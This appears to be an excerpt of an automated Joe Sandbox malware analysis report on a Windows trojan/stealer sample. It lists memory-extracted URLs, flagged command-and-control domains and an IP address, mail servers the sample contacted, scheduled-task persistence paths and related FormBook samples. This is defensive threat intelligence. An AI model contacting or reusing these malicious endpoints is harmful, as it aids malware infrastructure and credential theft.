http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id13ResponseD	redline123123.exe, 0000000E.00000002.2266923470.000000000355B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.com/api/v9/users/	stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://detailbaconroollyws.shop/apiz	RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp	true	Sophos S4: malware repository domain Avira URL Cloud: malware	unknown
https://github.com/python-attrs/attrs/issues/136	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2503018233.00000194D008F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba	stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id15Response	redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://curl.haxx.se/rfc/cookie_spec.html	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://speleotrove.com/decimal/decarith.html	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2503575928.00000194D0190000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://json.org	stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://zopeinterface.readthedocs.io/en/latest/	stub.exe, 0000000F.00000002.2503018233.00000194D008F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/ip	redline123123.exe, 0000000E.00000000.1954896138.0000000000E32000.00000002.00000001.01000000.0000000B.sdmp, redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp, One.exe, 0000001F.00000002.2126834542.000000000294B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://open.spotify.com/user/u	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id1ResponseD	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.entrust.net/rpa03	axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://twitter.com/i/api/1.1/account/update_profile.jsonareqadescriptionuThere	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file	judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, stub.exe, 0000000F.00000002.2502454961.00000194CFE90000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500756981.00000194CDE20000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://filepreviews.io/	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id24Response	redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://patternapplauderw.shop/e	RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp	true	Sophos S4: malware repository domain Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id21ResponseD	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=referral&utm_campa	stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://patternapplauderw.shop/3	RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp	true	Sophos S4: malware repository domain Avira URL Cloud: malware	unknown
https://www.attrs.org/en/stable/changelog.html	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://relaxtionflouwerwi.shop/H	RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	true	Sophos S4: malware repository domain Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.variomedia.de/	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://patternapplauderw.shop/I	RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp	true	Sophos S4: malware repository domain Avira URL Cloud: malware	unknown
http://77.91.77.81/Kiru9gu/index.phpppData	axplong.exe, 00000002.00000002.2768814464.0000000001203000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id10ResponseD	redline123123.exe, 0000000E.00000002.2266923470.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://patternapplauderw.shop/P	RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp	true	Sophos S4: malware repository domain Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2502237577.00000194CFD90000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id5Response	redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/pyca/cryptography/issues	stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.attrs.org/	stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id15ResponseD	redline123123.exe, 0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id10Response	redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mahler:8092/site-updates.py	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2487546266.00000194D0837000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2488921473.00000194D0838000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2491627713.00000194D0839000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id8Response	redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python-attrs/attrs/issues/1203)	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://messtimetabledkolvk.shop/api	RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	true	Sophos S4: malware repository domain Avira URL Cloud: malware	unknown
https://www.attrs.org/en/23.2.0/_static/sponsors/Tidelift.svg	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
35.211.105.54	cepl.com.br	United States	19527	GOOGLE-2US	false
194.250.155.101	mail6.lhotellerie.fr	France	3215	FranceTelecom-OrangeFR	false
79.143.126.202	mta2.spin.it	Italy	48544	TECNOADSL-ASIT	false
142.250.150.26	alt3.aspmx.l.google.com	United States	15169	GOOGLEUS	false
198.58.116.74	obrademaria.com.br	United States	63949	LINODE-APLinodeLLCUS	false
142.250.150.27	aspmx4.googlemail.com	United States	15169	GOOGLEUS	false
193.234.251.123	wing2.jp	Sweden	35041	NET-BINERO-STHLM1SE	false
51.148.131.93	lostgeek.co.uk	United Kingdom	13037	ZEN-ASZenInternet-UKGB	false
196.217.246.121	smtp.menara.ma	Morocco	36903	MT-MPLSMA	false
216.239.36.21	movilizate.com.co	United States	15169	GOOGLEUS	false
81.2.195.204	smtpa.forpsi.com	Czech Republic	24806	INTERNET-CZKtis238403KtisCZ	false
187.6.211.40	oi.com.br	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
185.138.56.194	smtp.dka.mailcore.net	Netherlands	34766	LAYER23NL	false
194.106.180.18	beotel.rs	Serbia	6700	BEOTEL-AShttpwwwbeotelnetRS	false
203.4.188.28	aap.com.au	Australia	24060	KTB-KTBCS-THKTBCOMPUTERSERVICESCOMPANYLIMITEDTH	false
185.164.14.124	mx4.pub.mailpod9-cph3.one.com	Denmark	51468	ONECOMDK	false
13.248.169.48	secure.fernandapaiva.com	United States	16509	AMAZON-02US	false
46.23.69.44	simoncollyer.co.uk	United Kingdom	13213	UK2NET-ASGB	false
91.221.196.240	vrist.dk	Denmark	197495	LARSENDATADK	false
94.177.209.28	mail.aruba.it	Italy	31034	ARUBA-ASNIT	false
194.158.122.55	smtp.bbox.fr	France	5410	BOUYGTEL-ISPFR	false
193.137.200.184	student.uc.pt	Portugal	1930	RCCNFundacaoparaaCienciaeaTecnologiaIPPT	false
185.60.37.18	mark-e.de	Germany	21150	INACDE-ATOSDE	false
18.119.154.66	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com	United States	3	MIT-GATEWAYSUS	false
104.18.3.81	mail.i.ua	United States	13335	CLOUDFLARENETUS	false
139.134.5.153	bigpond.net.au	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
52.101.73.28	travelox-co-uk.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.100.132.8	mx1.telecable.es	Germany	25394	MK-NETZDIENSTE-ASDE	false
142.250.153.27	aspmx2.googlemail.com	United States	15169	GOOGLEUS	false
92.204.80.0	smtp.secureserver.net	Germany	21499	GODADDY-SXBDE	false
52.101.68.3	jcmeijers-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
211.29.132.105	optusnet.com.au	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
142.250.153.26	alt1.aspmx.l.google.com	United States	15169	GOOGLEUS	false
172.67.199.213	mail.mcmmanufacturing.com.au	United States	13335	CLOUDFLARENETUS	false
84.2.43.67	smtp.freemail.hu	Hungary	15545	MT-DC-ASEUHungaryHU	false
52.143.157.238	restores.name	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.101.41.24	warrentiresvc-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
69.10.55.154	sabie.com.br	United States	19318	IS-AS-1US	false
106.11.172.9	aliyun.com	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
185.215.113.67	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
185.43.220.45	clwtumberaero.cyou	Lithuania	59939	WIBO-ASLT	true
185.172.128.33	unknown	Russian Federation	50916	NADYMSS-ASRU	true
162.241.203.166	lcmtreinamento.com.br	United States	26337	OIS1US	false
99.83.253.192	autograf.pl	United States	16509	AMAZON-02US	false
67.219.246.213	cluster9.us.messagelabs.com	United States	26282	SYMANTEC-US	false
132.210.7.145	usherbrooke.ca	Canada	376	RISQ-ASCA	false
194.19.134.85	imap.dka.mailcore.net	Denmark	3308	TELIANET-DENMARKDK	false
74.208.5.3	mx00.ionos.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	false
5.42.66.47	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false
13.248.158.7	yaho.de	United States	16509	AMAZON-02US	false
65.20.63.172	mail.altice.prod.cloud.openwave.ai	United States	10627	CP-AS-AS10627US	false
104.18.28.62	mta1.youcan.shop	United States	13335	CLOUDFLARENETUS	false
74.125.200.26	alt4.aspmx.l.google.com	United States	15169	GOOGLEUS	false
193.81.82.81	aon.at	Austria	1901	EUNETAT-ASA1TelekomAustriaAGAT	false
64.136.52.50	smtp-com.netzero.net	United States	13446	AS-NETZEROUS	false
92.249.45.70	alfasete.net.br	Germany	47583	AS-HOSTINGERLT	false
90.127.113.58	zedin.fr	France	3215	FranceTelecom-OrangeFR	false
104.131.176.42	mx.free-lesbian-pic.in	United States	14061	DIGITALOCEAN-ASNUS	false
120.50.131.112	nate.com	Korea Republic of	4792	SKCOMMS-AS-KRSKcommunicationsKR	false
217.160.0.220	pep4teens.de	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
134.122.66.149	vstream.ie	United States	14061	DIGITALOCEAN-ASNUS	false
52.117.251.242	signmaq.com.br	United States	36351	SOFTLAYERUS	false
206.62.174.243	minex.com.co	United States	174	COGENT-174US	false
188.114.96.3	guruku.id	European Union	13335	CLOUDFLARENETUS	false
104.37.34.230	mx1.pub.mailpod11-cph3.one.com	Denmark	51468	ONECOMDK	false
185.199.108.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
64.29.145.9	jcl1.com	United States	30447	INFB2-ASUS	false
52.101.68.27	stib-brussels.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.101.68.29	mullenloweblu-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
187.85.164.166	viacom.com.br	Brazil	28343	UnifiqueTelecomunicacoesSABR	false
163.43.104.165	y-cute.jp	Japan	9370	SAKURA-BSAKURAInternetIncJP	false
79.174.131.133	flix.be	Belgium	34762	COMBELL-ASBE	false
104.22.65.144	meta.ua	United States	13335	CLOUDFLARENETUS	false
193.74.71.25	mail.scarlet.be	Belgium	5432	PROXIMUS-ISP-ASBE	false
40.85.218.2	rogers.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.67.203.63	javs.com	United States	13335	CLOUDFLARENETUS	false
2.207.150.234	smtp.vodafonemail.de	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
173.203.187.2	mx2.emailsrvr.com	United States	27357	RACKSPACEUS	false
191.6.216.38	mx-vip-01.kinghost.net	Brazil	28299	IPV6InternetLtdaBR	false
90.216.128.5	sky.com	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
142.251.9.26	alt2.aspmx.l.google.com	United States	15169	GOOGLEUS	false
185.164.14.70	mx1.pub.mailpod6-cph3.one.com	Denmark	51468	ONECOMDK	false
64.190.63.222	out.cinebank.de	United States	11696	NBS11696US	false
194.165.29.35	southampton.gov.uk	United Kingdom	52215	HAMPSHIRE-COUNTY-COUNCILGB	false
199.59.243.225	secure.conteadealtavilla.it	United States	395082	BODIS-NJUS	false
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
72.52.178.23	kefgames.net	United States	32244	LIQUIDWEBUS	false
209.59.172.32	gutrading.com	United States	32244	LIQUIDWEBUS	false
191.252.112.195	mail.b.locamail.com.br	Brazil	27715	LocawebServicosdeInternetSABR	false
191.252.112.194	mail.ita.locaweb.com.br	Brazil	27715	LocawebServicosdeInternetSABR	false
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
199.85.66.2	sympatico.ca	Canada	53829	BELL-MEDIACA	false
45.178.224.186	unicosconstrutora.com.br	Brazil	269048	MANWEBHOSTINGLTDABR	false
52.86.6.113	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com	United States	14618	AMAZON-AESUS	false
49.213.103.199	zing.vn	Viet Nam	38244	VINAGAME-AS-VNVNGCorporationVN	false
52.101.73.12	malmar-be.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
117.50.20.113	eyou.com	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
82.165.178.113	_dc-mx.b9ce573663af.dbarchitecture.fr	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
159.8.122.149	mail.promatech.ma	United States	36351	SOFTLAYERUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1452030
Start date and time:	2024-06-04 23:07:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	78
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DPqKF5vqpe.exe renamed because original name is a hash value
Original Sample Name:	713a645c9524d137db3c5547b12708f7.exe
Detection:	MAL
Classification:	mal100.spre.troj.adwa.spyw.evad.winEXE@147/104@654/100
EGA Information:	Successful, ratio: 57.1%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 40.126.32.133, 20.190.160.20, 40.126.32.76, 40.126.32.68, 40.126.32.140, 40.126.32.134, 20.190.160.14, 40.126.32.136, 184.28.90.27, 20.189.173.22, 17.57.152.18
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, fs.microsoft.com, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, smtp.me.com.akadns.net, prod.fs.microsoft.com.akadns.net, smtp.mail.me.com.akadns.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target DPqKF5vqpe.exe, PID 4860 because it is empty
Execution Graph export aborted for target axplong.exe, PID 4620 because there are no executed function
Execution Graph export aborted for target axplong.exe, PID 7632 because there are no executed function
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: DPqKF5vqpe.exe

Simulations

Behavior and APIs

Time	Type	Description
17:08:40	API Interceptor	1600927x Sleep call for process: axplong.exe modified
17:09:13	API Interceptor	4x Sleep call for process: RegAsm.exe modified
17:09:24	API Interceptor	1x Sleep call for process: WMIC.exe modified
17:09:32	API Interceptor	24x Sleep call for process: svchost.exe modified
17:09:33	API Interceptor	1x Sleep call for process: lrthijawd.exe modified
17:09:34	API Interceptor	52x Sleep call for process: redline123123.exe modified
17:09:34	API Interceptor	2x Sleep call for process: jergs.exe modified
17:09:35	API Interceptor	1x Sleep call for process: peombdb.exe modified
17:09:46	API Interceptor	27x Sleep call for process: svhoost.exe modified
17:09:46	API Interceptor	39x Sleep call for process: powershell.exe modified
17:09:52	API Interceptor	1x Sleep call for process: WerFault.exe modified
17:09:56	API Interceptor	30x Sleep call for process: stub.exe modified
23:08:38	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
23:09:36	Task Scheduler	Run new task: peombdb path: C:\ProgramData\okili\peombdb.exe s>start2

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.248.169.48	rShippingDocuments.exe	Get hash	malicious	FormBook	Browse	www.ansverity.com/7llb/
	DGbE2o6q1M9y2oW.exe	Get hash	malicious	FormBook	Browse	www.neorubik.com/wfa4/
	DASERA LPO PMT-4 FURNITURE 28052024.pdf.exe	Get hash	malicious	FormBook	Browse	www.supermontage.com/zb6g/
	Scanned Documents.exe	Get hash	malicious	FormBook	Browse	www.oreh.net/1j32/
	d9KRjZOKQKODZB4.exe	Get hash	malicious	FormBook	Browse	www.neorubik.com/wfa4/
	Payroll Admin.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.supermontage.com/guv4/
	DHL Newly Arrived Parcel.exe	Get hash	malicious	FormBook	Browse	www.oreh.net/1j32/
